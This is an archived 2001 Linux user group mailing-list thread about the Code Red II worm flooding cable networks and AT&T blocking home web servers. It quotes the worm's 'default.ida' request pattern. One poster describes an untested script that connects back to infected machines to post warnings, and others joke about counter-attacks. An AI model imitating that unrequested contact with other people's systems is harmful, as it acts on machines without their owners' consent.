de KB0GBJ Kelly _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Thu Aug 9 01:05:12 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD56@mspexch2.office.mktw.net> Yeah, CR2 is definitely growing. Over 3 days we had around 17,000 CR2 hits, just in our Minneapolis data center. If I get some time tomorrow, I'll run a query and graph the attempts over the last few days to see how it's growing. Jay -----Original Message----- From: Bob Tanner [mailto:tanner@real-time.com] Sent: Wednesday, August 08, 2001 11:46 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] AT&T/Mediaone does it again? Quoting Steve Siegfried (sos@zjod.net): > Folks, > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > checked and found out why: No hits. When I logged into my backup ISP and > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > going through. I do agree with the measures they took. At 7pm CST today, Real Time had to do the same thing, because of the load it was putting on the routers. The packet storm was effecting all services at Real Time. I do -not- agree with how they went about it. They should have given you a heads up on what they are doing. I posted to all Real Time clients saying we needed to take this drastic measure to insure quality of service for everyone. Kind of the few must suffer for the many. So, I disabled port 80 to all client networks. I then logged (and I'm still logging) all the deny attempts. We are getting over 500 CR2 hits every 600 seconds on just 1 network alone. I am now going through the data and punching holes into it to allow traffic to linux/apache servers. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From sos at zjod.net Thu Aug 9 01:12:53 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010808234547.A20971@real-time.com> from "Bob Tanner" at Aug 08, 2001 11:45:47 PM Message-ID: <200108090612.BAA14578@zjod.net> This may sound like a dumb question, but isn't it possible to filter out inbound http GET requests on port 80 from being passed on to client networks when the request is longer than N bytes, where "N" is something reasonable, like say 512? And if so, wouldn't this "cure" the CodeRed problem? -S Bob Tanner wrote: > > Quoting Steve Siegfried (sos@zjod.net): > > Folks, > > > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > > checked and found out why: No hits. When I logged into my backup ISP and > > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > > going through. > > I do agree with the measures they took. At 7pm CST today, Real Time had to do > the same thing, because of the load it was putting on the routers. The packet > storm was effecting all services at Real Time. > > I do -not- agree with how they went about it. They should have given you a heads > up on what they are doing. I posted to all Real Time clients saying we needed to > take this drastic measure to insure quality of service for everyone. Kind of the > few must suffer for the many. > > So, I disabled port 80 to all client networks. I then logged (and I'm still > logging) all the deny attempts. > > We are getting over 500 CR2 hits every 600 seconds on just 1 network alone. I am > now going through the data and punching holes into it to allow traffic to > linux/apache servers. > > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From mwagner at mysql.com Thu Aug 9 01:15:16 2001 From: mwagner at mysql.com (Matt Wagner) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net> References: <200108090410.XAA26748@zjod.net> Message-ID: <15218.10868.836204.492179@evoq.mwagner.org> Steve Siegfried writes: > > Folks, > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > checked and found out why: No hits. When I logged into my backup ISP and > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > going through. > > So, I've got a favor to ask... > > Could those of you with AT&T/Mediaone as your ISP who are also running web > servers please check your http access logs? When you do, I think you'll > find the last outside (non-AT&T) access your web server had was on or about > 1am CDT on August 6'th. This exact same thing happened to me. I spent the whole damn night reconfig'ing my firewall trying to figure it out. It was extra weird because I could connect to my port 80 from some machines around the world, but not others. One of the MySQL developers that lives in Estonia for instance, could connect to my port 80 from his server at his friend's ISP, but not from his own home machine (different ISP). > Gee, it sure woulda been nice to be notified prior to having my ability to > serve web pages cut off! > > If someone could verify that I'm not the only one affected, then I think > it's past time I call the Public Utilities Commission to lodge a > complaint. I agree completely. I would sign-on to your complaint. Matt -- For technical support contracts, visit https://order.mysql.com/ __ ___ ___ ____ __ / |/ /_ __/ __/ __ \/ / Mr. Matt Wagner / /|_/ / // /\ \/ /_/ / /__ MySQL AB, Herr Direktor /_/ /_/\_, /___/\___\_\___/ Hopkins, Minnesota USA <___/ www.mysql.com From sgrobe at mn.rr.com Thu Aug 9 05:57:01 2001 From: sgrobe at mn.rr.com (Steve) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] hotmail and CR Message-ID: <3B726C7D.9010707@mn.rr.com> http://news.excite.com/news/ap/010808/20/microsoft-code-red-worm Maybe things will start getting better now that MS has started patching it's servers. :-) From scott.w.fischer at att.net Thu Aug 9 06:31:52 2001 From: scott.w.fischer at att.net (scott.w.fischer@att.net) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? Message-ID: <20010809113152.SOZQ15499.mtiwmhc22.worldnet.att.net@webmail.worldnet.att.net> Here's the press release. Worms Prompt AT&T to Unplug Customer Web Sites Wednesday August 8, 8:19 PM EDT SAN FRANCISCO (Reuters) - To keep the spread of the Code Red worms from slowing down its cable Internet network, AT&T Corp. (T) is blocking access to Web servers that residential customers are running, a spokeswoman said on Wednesday. "We are trying to protect our greater user population as a whole," said AT&T spokeswoman Sarah Eder. The company provides cable Internet access to 1.35 million residential customers, she said. By blocking incoming traffic to Web servers, AT&T is effectively shutting down the Web sites, which residential customers are not supposed to be operating anyway, Eder said. "According to our official use policy, customers are not permitted to operate Web servers behind cable modems," she said. Commercial customers of AT&T's cable Internet service are not affected, she added. The Code Red worms spread through a hole in Microsoft Corp.'s Internet Information Server Web software running on Windows NT and 2000 computers and then scan the Internet looking for new computers to infect. Code Red II, which surfaced on Saturday, leaves a "back door" on infected computers, making them vulnerable to future hacking. Code Red II also spreads more quickly, looking for computers in close proximity or the same network to infect rather than random computers on the Internet, like Code Red I does. This scanning of the local neighborhoods is slowing down cable modem networks, where subscribers share bandwidth. ©2001 Reuters Limited. -- "Don't pray when it rains if you don't pray when the sun shines." - Satchel Paige From JMiller2 at dainrauscher.com Thu Aug 9 07:22:16 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] Dead computer Message-ID: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net> I got up this morning and turned on my computer and nothing happened, not even the fan on the p/s turned on. I swapped out the power supply with another that I had and still nothing. I took the original p/s and plugged it in and turned it on (I had it connected to an old pc switch), nothing. I remember reading a thread on a similar subject about p/s's and whether they could run with out a mb. My question is this. I have a mb laying around, it has a cpu and memory on it. If I plugged a p/s into it and turned it on, would that be enough to get the p/s working (provided it does work)? Could this be a result of age (the computer and mb are old (Cyrix 200 and AOpen 5A)) Thanks John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com From nate at techie.com Thu Aug 9 07:36:12 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net>; from sos@zjod.net on Wed, Aug 08, 2001 at 11:10:14PM -0500 References: <200108090410.XAA26748@zjod.net> Message-ID: <20010809073612.A15175@candle.mn.mediaone.net> On Wed, Aug 08, 2001 at 11:10:14PM -0500, Steve Siegfried wrote: > Could those of you with AT&T/Mediaone as your ISP who are also running web > servers please check your http access logs? The CR2 hits stopped at about 1:54 on Aug 6. Then I got a few more on Aug 6 from 15:44 - 16:34. I haven't seen anything since. > When I called AT&T to complain about it (after 26 minutes on hold before > getting to a level 1 customer service dudette), a level 2 customer service > guy told me that AT&T has decided to block all inbound tcp/ip requests on > port 80 for any (all?) of their broadband (and dialup?) customers. I used the online chat on Aug 6 and Aug 7. The first guy I talked to said I wasn't allowed to run servers and hung up on me. The second guy tried his hardest to find some information, but couldn't find anything that confirmed my suspicion. He then gave me the line about not running servers, but said he was lenient. I told him to take a better look at the Subscriber's Agreement and find a link to the page that said I can't run servers. Hopefully they are starting to re-educate their tech support agents. > Gee, it sure woulda been nice to be notified prior to having my ability to > serve web pages cut off! Considering that everyone at MediaOne still thinks that you aren't supposed to be running servers, they probably didn't think they had to. > If someone could verify that I'm not the only one affected, then I think > it's past time I call the Public Utilities Commission to lodge a complaint. I too would sign the complaint. Until Monday, I was really impressed with AT&T. Unfortunately, if I want high speed access, I have to go through AT&T. Nate From nate at techie.com Thu Aug 9 07:39:46 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net>; from sos@zjod.net on Wed, Aug 08, 2001 at 11:10:14PM -0500 References: <200108090410.XAA26748@zjod.net> Message-ID: <20010809073946.B15175@candle.mn.mediaone.net> BTW, AT&T updated their Code Red help page. http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 Nate From veldy at veldy.net Thu Aug 9 07:59:16 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <54180709DD3FE145917BB165AFE7EFA0BCDD56@mspexch2.office.mktw.net> Message-ID: <002701c120d3$1a0cf690$3028680a@tgt.com> My little box on Covad/XO DSL had only 25 Code Red hits last month. This month so far I have seen 663 hits. I may have to create counter measures to attack all the bastards that don't maintain their servers ;) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Austad, Jay" To: Sent: Thursday, August 09, 2001 1:05 AM Subject: RE: [TCLUG] AT&T/Mediaone does it again? > Yeah, CR2 is definitely growing. Over 3 days we had around 17,000 CR2 hits, > just in our Minneapolis data center. If I get some time tomorrow, I'll run > a query and graph the attempts over the last few days to see how it's > growing. > > Jay > > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Wednesday, August 08, 2001 11:46 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] AT&T/Mediaone does it again? > > Quoting Steve Siegfried (sos@zjod.net): > > Folks, > > > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > > checked and found out why: No hits. When I logged into my backup ISP and > > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I > also > > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > > going through. > > I do agree with the measures they took. At 7pm CST today, Real Time had to > do > the same thing, because of the load it was putting on the routers. The > packet > storm was effecting all services at Real Time. > > I do -not- agree with how they went about it. They should have given you a > heads > up on what they are doing. I posted to all Real Time clients saying we > needed to > take this drastic measure to insure quality of service for everyone. Kind of > the > few must suffer for the many. > > So, I disabled port 80 to all client networks. I then logged (and I'm still > logging) all the deny attempts. > > We are getting over 500 CR2 hits every 600 seconds on just 1 network alone. > I am > now going through the data and punching holes into it to allow traffic to > linux/apache servers. > > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 08:01:42 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <15218.10868.836204.492179@evoq.mwagner.org> Message-ID: <003301c120d3$70757a20$3028680a@tgt.com> > > > If someone could verify that I'm not the only one affected, then I think > > it's past time I call the Public Utilities Commission to lodge a > > complaint. > > I agree completely. I would sign-on to your complaint. > > Last time I checked -- it is completely against their stated policies to run servers at all. Assuming that is still true, you really have no business complaining about it. You actually risk losing your account. Tom Veldhouse veldy@veldy.net From veldy at veldy.net Thu Aug 9 08:11:14 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] Dead computer References: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net> Message-ID: <005301c120d4$cdc463c0$3028680a@tgt.com> If you get absolutely nothing, I think you mobo is probably toast. Even with no CPU, the fans should start. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Miller, John" To: Sent: Thursday, August 09, 2001 7:22 AM Subject: [TCLUG] Dead computer > I got up this morning and turned on my computer and nothing happened, > not even the fan on the p/s turned on. I swapped out the power supply > with another that I had and still nothing. I took the original p/s and > plugged it in and turned it on (I had it connected to an old pc switch), > nothing. I remember reading a thread on a similar subject about p/s's > and whether they could run with out a mb. My question is this. I have > a mb laying around, it has a cpu and memory on it. If I plugged a p/s > into it and turned it on, would that be enough to get the p/s working > (provided it does work)? Could this be a result of age (the computer > and mb are old (Cyrix 200 and AOpen 5A)) > > Thanks > > John Miller > Dain Rauscher > Information Services - Capital Markets > Software Developer > Phone: 612-547-7573 > Fax: 612-547-7580 > IS - Mail Stop: T23A > E-mail: MailTo:JMiller2@DainRauscher.com > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 08:14:43 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> Message-ID: <005801c120d5$437d1bc0$3028680a@tgt.com> Here is a link that says you can not host servers. It is dated 6-27-2001. http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Nate Straz" To: "Twin Cities Linux Users Group" Sent: Thursday, August 09, 2001 7:36 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > On Wed, Aug 08, 2001 at 11:10:14PM -0500, Steve Siegfried wrote: > > Could those of you with AT&T/Mediaone as your ISP who are also running web > > servers please check your http access logs? > > > The CR2 hits stopped at about 1:54 on Aug 6. Then I got a few more on > Aug 6 from 15:44 - 16:34. I haven't seen anything since. > > > When I called AT&T to complain about it (after 26 minutes on hold before > > getting to a level 1 customer service dudette), a level 2 customer service > > guy told me that AT&T has decided to block all inbound tcp/ip requests on > > port 80 for any (all?) of their broadband (and dialup?) customers. > > I used the online chat on Aug 6 and Aug 7. The first guy I talked to > said I wasn't allowed to run servers and hung up on me. The second guy > tried his hardest to find some information, but couldn't find anything > that confirmed my suspicion. He then gave me the line about not running > servers, but said he was lenient. I told him to take a better look at > the Subscriber's Agreement and find a link to the page that said I can't > run servers. Hopefully they are starting to re-educate their tech > support agents. > > > Gee, it sure woulda been nice to be notified prior to having my ability to > > serve web pages cut off! > > Considering that everyone at MediaOne still thinks that you aren't > supposed to be running servers, they probably didn't think they had to. > > > If someone could verify that I'm not the only one affected, then I think > > it's past time I call the Public Utilities Commission to lodge a complaint. > > I too would sign the complaint. Until Monday, I was really impressed > with AT&T. Unfortunately, if I want high speed access, I have to go > through AT&T. > > Nate > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From hick0088 at tc.umn.edu Thu Aug 9 08:29:24 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809073946.B15175@candle.mn.mediaone.net> References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> Message-ID: <20010809082924.687f5dbf.hick0088@tc.umn.edu> Nate Straz wrote: > > BTW, AT&T updated their Code Red help page. > > http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 Interesting. Looking at the Q&As on that page, it doesn't appear that running services is explicitly denied. They're just responding to the fact that this worm can ``interfere with the ability of any other person to use or enjoy the AT&T Equipment or the Service.'' Then again, they may explicitly state it elsewhere. Anyway, here's what I've done on my own system (not on a cable modem): Add `.ida' to the PHP mime/type in httpd.conf AddType application/x-httpd-php .php .php4 .ida and created a file named `default.ida' that attempts to connect back to CR2-infected systems and pop up a warning with the `net send' command. Of course, I have no way to test it. http://www.tc.umn.edu/~hick0088/files/defaultida.txt -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ The sooner you fall / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ behind, the more time \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) you'll have to catch up. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010809/c1b568a7/attachment.pgp From sos at zjod.net Thu Aug 9 08:32:21 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <003301c120d3$70757a20$3028680a@tgt.com> from "Thomas T. Veldhouse" at Aug 09, 2001 08:01:42 AM Message-ID: <200108091332.IAA16875@zjod.net> My understanding is that Mediaone (before being bought by AT&T) didn't allow servers, but that AT&T doesn't care. I checked last night prior to my original posting on this topic. The only thing I could find that mentioned HTTP servers in any of the multiple "user agreements" they've posted was on their web site: > (b) FTP/HTTP Service Setup. Customer should be > aware that when using the Service to access the > Internet or any other online network or service, > there are certain applications, such as FTP > (File Transfer Protocol) server or HTTP (Hyper > Text Transfer Protocol) server, which may be > used to allow other Service users and Internet > users to gain access to Customer's computer. If > Customer chooses to run such applications, > Customer should take the appropriate security > measures. Neither AT&T nor @Home Network shall > have any liability whatsoever for any claims, > losses, actions, damages, suits or proceedings > resulting from, arising out of or otherwise > relating to the use of such applications by > Customer, including without limitation, damages > resulting from others accessing Customer's > computer. If you're an AT&T Broadband customer, you can find the full document quoted above at http://help.broadband.att.com/subagreelease.jsp -S Thomas T. Veldhouse wrote: > > > > > > > If someone could verify that I'm not the only one affected, then I think > > > it's past time I call the Public Utilities Commission to lodge a > > > complaint. > > > > I agree completely. I would sign-on to your complaint. > > > > > > Last time I checked -- it is completely against their stated policies to run > servers at all. Assuming that is still true, you really have no business > complaining about it. You actually risk losing your account. > > Tom Veldhouse > veldy@veldy.net > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sos at zjod.net Thu Aug 9 08:34:56 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <005801c120d5$437d1bc0$3028680a@tgt.com> from "Thomas T. Veldhouse" at Aug 09, 2001 08:14:43 AM Message-ID: <200108091334.IAA16893@zjod.net> Thomas T. Veldhouse wrote: > > Here is a link that says you can not host servers. It is dated 6-27-2001. > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > Tom Veldhouse > veldy@veldy.net Yeah, but that page is contrary to their subscriber agreement at: http://help.broadband.att.com/subagreelease.jsp Between the two, the subscriber agreement certainly looks like it would carry more weight. -S From esper at sherohman.org Thu Aug 9 08:36:29 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: ; from markt@logicworksinc.com on Wed, Aug 08, 2001 at 08:50:19PM -0500 References: <20010807090957.D28861@sherohman.org> Message-ID: <20010809083629.A15238@sherohman.org> On Wed, Aug 08, 2001 at 08:50:19PM -0500, Mark Theiste wrote: > Dave, > > > > The Windows version (Delphi) and the Linux version (Kylix) use > > different > > > libraries. Windows uses VCL (Visual Component Libraries), Linux > > uses CLX, > > > Windows uses *.dll runtime libraries, Linux uses *.so runtime > > libraries. > > > These libraries are simply the precoded tools that allow your > > program to > > I think I know what you mean but I would like to clarify your statment. Count the >s. I didn't say that, I quoted it from the message I was responding to. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From veldy at veldy.net Thu Aug 9 08:40:31 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108091334.IAA16893@zjod.net> Message-ID: <007501c120d8$e11eee50$3028680a@tgt.com> That is only the "Leased Modem Subscriber Agreement". That is not a service agreement. Also, you should check the AUP. I have not been able to locate it, but I am sure it is there for subscribers to view. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Steve Siegfried" To: Sent: Thursday, August 09, 2001 8:34 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > Thomas T. Veldhouse wrote: > > > > Here is a link that says you can not host servers. It is dated 6-27-2001. > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > > > Tom Veldhouse > > veldy@veldy.net > > Yeah, but that page is contrary to their subscriber agreement at: > http://help.broadband.att.com/subagreelease.jsp > > Between the two, the subscriber agreement certainly looks like it would carry > more weight. > > -S > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 08:42:25 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108091334.IAA16893@zjod.net> Message-ID: <007a01c120d9$208c4420$3028680a@tgt.com> Also, that is the AT&T and @Home agreement. Users here use RoadRunner. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Steve Siegfried" To: Sent: Thursday, August 09, 2001 8:34 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > Thomas T. Veldhouse wrote: > > > > Here is a link that says you can not host servers. It is dated 6-27-2001. > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > > > Tom Veldhouse > > veldy@veldy.net > > Yeah, but that page is contrary to their subscriber agreement at: > http://help.broadband.att.com/subagreelease.jsp > > Between the two, the subscriber agreement certainly looks like it would carry > more weight. > > -S > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sos at zjod.net Thu Aug 9 08:47:30 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809082924.687f5dbf.hick0088@tc.umn.edu> from "Mike Hicks" at Aug 09, 2001 08:29:24 AM Message-ID: <200108091347.IAA16977@zjod.net> Mike Hicks wrote: > > Nate Straz wrote: > > > > BTW, AT&T updated their Code Red help page. > > > > http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 > > Interesting. Looking at the Q&As on that page, it doesn't appear that > running services is explicitly denied. They're just responding to the > fact that this worm can ``interfere with the ability of any other person > to use or enjoy the AT&T Equipment or the Service.'' Then again, they may > explicitly state it elsewhere. In fact, it's explicitly stated elsewhere (in the subscriber agreement) that you can run HTTP servers, but do so at your own risk. See section 9, paragraph b of: http://help.broadband.att.com/subagreelease.jsp for details. Based on the AT&T WWW references I've seen today, it kind of looks like AT&T is going out of their way to not say "no http servers", but at the same time they're saying if you interfere with general use (as in running a CodeRed infected box that spews those "GET /default.ida?XXXXX" all over creation), then they'll cut off your service. It's a real mixed message. Not a laywer, but I play one TV'idly, -S From veldy at veldy.net Thu Aug 9 08:51:57 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:52 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108091347.IAA16977@zjod.net> Message-ID: <008501c120da$7cdf4190$3028680a@tgt.com> They are probably avoiding the message of "not allowing servers" because so many DSL users CAN run servers. They need to compete. Cable infrastructure is setup as a client system and not a server system. It is very asynchronous. This is the main reason they probably don't allow it (it affects others on the same node in a negative way when the uplink is saturated). When I was with MediaOne, it was very clear they did NOT allow servers. It was in the document I signed when my modem was installed (and it was a one-way modem at that). Find that document and then look to see if they have modified it since, and I am confident you will find the clause that states that they do not want you to run servers. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Steve Siegfried" To: Sent: Thursday, August 09, 2001 8:47 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > Mike Hicks wrote: > > > > Nate Straz wrote: > > > > > > BTW, AT&T updated their Code Red help page. > > > > > > http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 > > > > Interesting. Looking at the Q&As on that page, it doesn't appear that > > running services is explicitly denied. They're just responding to the > > fact that this worm can ``interfere with the ability of any other person > > to use or enjoy the AT&T Equipment or the Service.'' Then again, they may > > explicitly state it elsewhere. > > In fact, it's explicitly stated elsewhere (in the subscriber agreement) that > you can run HTTP servers, but do so at your own risk. See section 9, > paragraph b of: http://help.broadband.att.com/subagreelease.jsp for details. > > Based on the AT&T WWW references I've seen today, it kind of looks like AT&T > is going out of their way to not say "no http servers", but at the same time > they're saying if you interfere with general use (as in running a CodeRed > infected box that spews those "GET /default.ida?XXXXX" all over creation), > then they'll cut off your service. > > It's a real mixed message. > > Not a laywer, but I play one TV'idly, > > -S > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From nate at techie.com Thu Aug 9 09:01:18 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <005801c120d5$437d1bc0$3028680a@tgt.com>; from veldy@veldy.net on Thu, Aug 09, 2001 at 08:14:43AM -0500 References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> <005801c120d5$437d1bc0$3028680a@tgt.com> Message-ID: <20010809090118.A2453@candle.mn.mediaone.net> On Thu, Aug 09, 2001 at 08:14:43AM -0500, Thomas T. Veldhouse wrote: > Here is a link that says you can not host servers. It is dated 6-27-2001. > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 Can you find the page that links to that page? I haven't found anyone that can. Search results don't count. Nate From florin at iucha.net Thu Aug 9 09:01:06 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] Fwd: Online Platform Development Using Linux In-Reply-To: <20010808205413.A18420@fandre.com>; from cfandre@fandre.com on Wed, Aug 08, 2001 at 08:54:15PM -0500 References: <20010808205413.A18420@fandre.com> Message-ID: <20010809090106.A2651@beaver.iucha.org> On Wed, Aug 08, 2001 at 08:54:15PM -0500, Clay Fandre wrote: > Sounds kind of interesting. I wish I had more time for things like this. > > ----- Forwarded message from April Worden ----- [snip] > > What is DevelopOnline looking for? Here's a sample of a few of the entries: > > * Remote control of computer systems through cell phone/pager > > * System power management > > * Remote operation of a home security system through the Internet Do they have accept multiple entries? Like software to control neighbours' computers and houses and such? Geee... If I only captured CodeRed while it lasted... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From sos at zjod.net Thu Aug 9 09:02:45 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <007a01c120d9$208c4420$3028680a@tgt.com> from "Thomas T. Veldhouse" at Aug 09, 2001 08:42:25 AM Message-ID: <200108091402.JAA17125@zjod.net> Thomas T. Veldhouse wrote: > > Also, that is the AT&T and @Home agreement. Users here use RoadRunner. > > Tom Veldhouse > veldy@veldy.net My bills say "AT&T Broadband", so I gotta go with what I find rooted at http://www.attbroadband.com/services/. Clicking on "Online security" there brings you to http://help.broadband.att.com/legal/, where on line 2 there's a link ("AT&T Broadband Terms of Service Agreement") to the subscriber agreement I'd quoted. Starting to think that AT&T is "rebranding" yet again'idly, -S > > Thomas T. Veldhouse wrote: > > > > > > Here is a link that says you can not host servers. It is dated > 6-27-2001. > > > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > > > > > Tom Veldhouse > > > veldy@veldy.net > > > > Yeah, but that page is contrary to their subscriber agreement at: > > http://help.broadband.att.com/subagreelease.jsp > > > > Between the two, the subscriber agreement certainly looks like it would > carry > > more weight. > > > > -S From nate at techie.com Thu Aug 9 09:08:12 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809113152.SOZQ15499.mtiwmhc22.worldnet.att.net@webmail.worldnet.att.net>; from scott.w.fischer@att.net on Thu, Aug 09, 2001 at 11:31:52AM +0000 References: <20010809113152.SOZQ15499.mtiwmhc22.worldnet.att.net@webmail.worldnet.att.net> Message-ID: 